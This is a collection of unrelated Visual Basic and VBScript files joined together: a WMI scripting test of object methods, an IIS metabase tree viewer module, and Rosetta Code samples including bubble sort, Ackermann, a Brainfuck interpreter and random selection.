WScript.Echo "Got no error - as expected"
end if
WScript.Echo ""
WScript.Echo "Derivation_"
der = obj.Derivation_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", LBound(der), UBound(der)
err.clear
end if
WScript.Echo ""
WScript.Echo "Methods_"
set methodSet = obj.Methods_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", methodSet.Count
err.clear
end if
WScript.Echo ""
WScript.Echo "Path_"
set objPath = obj.Path_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", objPath.DisplayName
err.clear
end if
WScript.Echo ""
WScript.Echo "Properties_"
set propSet = obj.Properties_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", propSet.Count
err.clear
end if
WScript.Echo ""
WScript.Echo "Qualifiers_"
set qualSet = obj.Qualifiers_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", qualSet.Count
err.clear
end if
WScript.Echo ""
WScript.Echo "Security_"
set security = obj.Security_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - ", security.authenticationLevel, security.impersonationLevel
err.clear
end if
WScript.Echo ""
WScript.Echo "GetObjectText_"
objText = obj.GetObjectText_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "Instances_"
set instanceSet = obj.Instances_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "InstancesAsync_"
obj.InstancesAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "Put_"
set objPath = obj.Put_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "PutAsync_"
obj.PutAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got no Error as expected"
err.clear
end if
WScript.Echo ""
WScript.Echo "References_"
set objSet = obj.References_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "ReferencesAsync_"
obj.ReferencesAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "SpawnDerivedClass_"
set objSub = obj.SpawnDerivedClass_
if err <> 0 then
WScript.Echo "ERROR!", Err.Number, Err.Description, Err.Source
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "SpawnInstance_"
set objSub = obj.SpawnInstance_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "Subclasses_"
set objSet = obj.Subclasses_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "SubclassesAsync_"
obj.SubclassesAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected - "
err.clear
end if
WScript.Echo ""
WScript.Echo "Delete_"
obj.Delete_
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "No err as expected"
end if
obj.Put_
WScript.Echo ""
WScript.Echo "DeleteAsync_"
obj.DeleteAsync_ objSink
if err <> 0 then
WScript.Echo "ERROR!"
testPassed = false
else
WScript.Echo "Got No Error as expected"
err.clear
end if
if testPassed <> true then
WScript.Echo ""
WScript.Echo "*************************************"
WScript.Echo "TEST FAILED!!!!!!!!!!!!!!!!!!!!!!!!!!"
WScript.Echo "*************************************"
else
WScript.Echo ""
WScript.Echo "*************************************"
WScript.Echo "Test passed"
WScript.Echo "*************************************"
end if
wend
|
Attribute VB_Name = "Module1"
Global Const LISTVIEW_BUTTON = 11
Public fMainForm As frmMain
Sub Main()
frmSplash.Show
frmSplash.Refresh
Set fMainForm = New frmMain
Load fMainForm
Unload frmSplash
fMainForm.Show
End Sub
Sub LoadResStrings(frm As Form)
On Error Resume Next
Dim ctl As Control
Dim obj As Object
Dim fnt As Object
Dim sCtlType As String
Dim nVal As Integer
'set the form's caption
frm.Caption = LoadResString(CInt(frm.Tag))
'set the font
Set fnt = frm.Font
fnt.Name = LoadResString(20)
fnt.Size = CInt(LoadResString(21))
'set the controls' captions using the caption
'property for menu items and the Tag property
'for all other controls
For Each ctl In frm.Controls
Set ctl.Font = fnt
sCtlType = TypeName(ctl)
If sCtlType = "Label" Then
ctl.Caption = LoadResString(CInt(ctl.Tag))
ElseIf sCtlType = "Menu" Then
ctl.Caption = LoadResString(CInt(ctl.Caption))
ElseIf sCtlType = "TabStrip" Then
For Each obj In ctl.Tabs
obj.Caption = LoadResString(CInt(obj.Tag))
obj.ToolTipText = LoadResString(CInt(obj.ToolTipText))
Next
ElseIf sCtlType = "Toolbar" Then
For Each obj In ctl.Buttons
obj.ToolTipText = LoadResString(CInt(obj.ToolTipText))
Next
ElseIf sCtlType = "ListView" Then
For Each obj In ctl.ColumnHeaders
obj.Text = LoadResString(CInt(obj.Tag))
Next
Else
nVal = 0
nVal = Val(ctl.Tag)
If nVal > 0 Then ctl.Caption = LoadResString(nVal)
nVal = 0
nVal = Val(ctl.ToolTipText)
If nVal > 0 Then ctl.ToolTipText = LoadResString(nVal)
End If
Next
End Sub
Sub PopulateTree(ByRef TreeCtl As TreeView, ByVal Path As String)
Dim mb As IMSMetaBase
Set mb = CreateObject("IISAdmin.Object")
Dim i As Long
Dim bytePath() As Byte
Dim mk As IMSMetaKey
Rem Dim tmpPath() As Byte
On Error Resume Next
Debug.Print ("Adding " & Path)
i = 0
Set mk = mb.OpenKey(dwAccessRequested:=1, vaTimeOut:=100)
If (Err.Number <> 0) Then
Debug.Print ("Enum Object Error Code = " & Err.Number)
Err.Clear
Exit Sub
End If
Do
' Convert the Basic string to an ANSI byte array and
' open this path
bytePath = StrConv(Path & Chr(0), vbFromUnicode)
mk.EnumKeys pvaName:=tmpPath, dwEnumObjectIndex:=i, pvaPath:=bytePath
If (Err.Number < 0) Then
Debug.Print ("Enum Object Error Code = " & Err.Number)
Err.Clear
Exit Do
End If
' Convert the returned byte array to a string
Dim Tmp As String
Tmp = ""
j = 0
Do While (tmpPath(j) > 0)
Tmp = Tmp & Chr(tmpPath(j))
j = j + 1
Loop
' Add this node to the tree
NewPath = Path & Tmp & "/"
' Make sure the root virtual directory isn't blank
If (Tmp = "") Then
Tmp = "/"
End If
Err.Clear ' Some adds result in a non-fatal error 424
Dim Nodx As Node ' Declare Node variable.
Set Nodx = TreeCtl.Nodes.Add(Path, tvwChild, NewPath, Tmp)
If (Err.Number <> 0) Then
Debug.Print ("Adding Node to tree Error Code = " & Err.Number & " " & Err.Description)
Err.Clear
Rem Exit Do
End If
' Recursively traverse this path and show and expanded tree
PopulateTree TreeCtl, NewPath
Nodx.Expanded = True
i = i + 1
Loop While (True)
mk.Close
If (Err.Number <> 0) Then
Debug.Print ("Error closing handle = " & Err.Number & " " & Err.Description)
Err.Clear
Rem Exit Do
End If
End Sub
|
Private Function bubble_sort(s As Variant) As Variant
Dim tmp As Variant
Dim changed As Boolean
For j = UBound(s) To 1 Step -1
changed = False
For i = 1 To j - 1
If s(i) > s(i + 1) Then
tmp = s(i)
s(i) = s(i + 1)
s(i + 1) = tmp
changed = True
End If
Next i
If Not changed Then
Exit For
End If
Next j
bubble_sort = s
End Function
Public Sub main()
s = [{4, 15, "delta", 2, -31, 0, "alfa", 19, "gamma", 2, 13, "beta", 782, 1}]
Debug.Print "Before: "
Debug.Print Join(s, ", ")
Debug.Print "After: "
Debug.Print Join(bubble_sort(s), ", ")
End Sub
|
<reponame>mullikine/RosettaCodeData
Option Explicit
Dim calls As Long
Sub main()
Const maxi = 4
Const maxj = 9
Dim i As Long, j As Long
For i = 0 To maxi
For j = 0 To maxj
Call print_acker(i, j)
Next j
Next i
End Sub 'main
Sub print_acker(m As Long, n As Long)
calls = 0
Debug.Print "ackermann("; m; ","; n; ")=";
Debug.Print ackermann(m, n), "calls="; calls
End Sub 'print_acker
Function ackermann(m As Long, n As Long) As Long
calls = calls + 1
If m = 0 Then
ackermann = n + 1
Else
If n = 0 Then
ackermann = ackermann(m - 1, 1)
Else
ackermann = ackermann(m - 1, ackermann(m, n - 1))
End If
End If
End Function 'ackermann
|
'Execute BrainFuck
'VBScript Implementation
'The Main Interpreter
Function BFInpt(s, sp, d, dp, i, ip, o)
While sp < Len(s)
Select Case Mid(s, sp + 1, 1)
Case "+"
newd = Asc(d(dp)) + 1
If newd > 255 Then newd = newd Mod 256 'To take account of values over 255
d(dp) = Chr(newd)
Case "-"
newd = Asc(d(dp)) - 1
If newd < 0 Then newd = (newd Mod 256) + 256 'To take account of negative values
d(dp) = Chr(newd)
Case ">"
dp = dp + 1
If dp > UBound(d) Then
ReDim Preserve d(UBound(d) + 1)
d(dp) = Chr(0)
End If
Case "<"
dp = dp - 1
Case "."
o = o & d(dp)
Case ","
If ip = Len(i) Then d(dp) = Chr(0) Else ip = ip + 1 : d(dp) = Mid(i, ip, 1)
Case "["
If Asc(d(dp)) = 0 Then
bracket = 1
While bracket And sp < Len(s)
sp = sp + 1
If Mid(s, sp + 1, 1) = "[" Then
bracket = bracket + 1
ElseIf Mid(s, sp + 1, 1) = "]" Then
bracket = bracket - 1
End If
WEnd
Else
pos = sp - 1
sp = sp + 1
If BFInpt(s, sp, d, dp, i, ip, o) Then sp = pos
End If
Case "]"
BFInpt = Asc(d(dp)) <> 0
Exit Function
End Select
sp = sp + 1
WEnd
End Function
'This Prepares the Intepreter
Function BFuck(source, input)
Dim data() : ReDim data(0)
data(0) = Chr(0)
DataPtr = 0
SrcPtr = 0
InputPtr = 0
output = ""
BFInpt source , SrcPtr , _
data , DataPtr , _
input , InputPtr , _
output
BFuck = output
End Function
'Sample Run
'The input is a string. The first character will be scanned by the first comma
'in the code, the next character will be scanned by the next comma, and so on.
code = ">++++++++[<+++++++++>-]<.>>+>+>++>[-]+<[>[->+<<++++>]<<]>.+++++++..+++.>" & _
">+++++++.<<<[[-]<[-]>]<+++++++++++++++.>>.+++.------.--------.>>+.>++++."
inpstr = ""
WScript.StdOut.Write BFuck(code, inpstr)
|
Dim chosen(10)
For j = 1 To 1000000
c = one_of_n(10)
chosen(c) = chosen(c) + 1
Next
For k = 1 To 10
WScript.StdOut.WriteLine k & ". " & chosen(k)
Next
Function one_of_n(n)
Randomize
For i = 1 To n
If Rnd(1) < 1/i Then
one_of_n = i
End If
Next
End Function
|
<filename>admin/wmi/wbem/scripting/test/vbscript/methodex5.vbs
on error resume next
set inst = GetObject("winmgmts:{impersonationLevel=impersonate}!//appliance1/root/cimv2:SA_PrinterInstaller.Name=""NTInstaller""")
result = inst.EnumManufacturers (strMfgArray)
for i=0 to UBound(strMfgArray) - 1
WSCript.Echo strMfgArray (i)
next
if err <>0 then
WScript.Echo Hex(Err.Number)
else
WScript.Echo "Returned result is " & result
end if
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.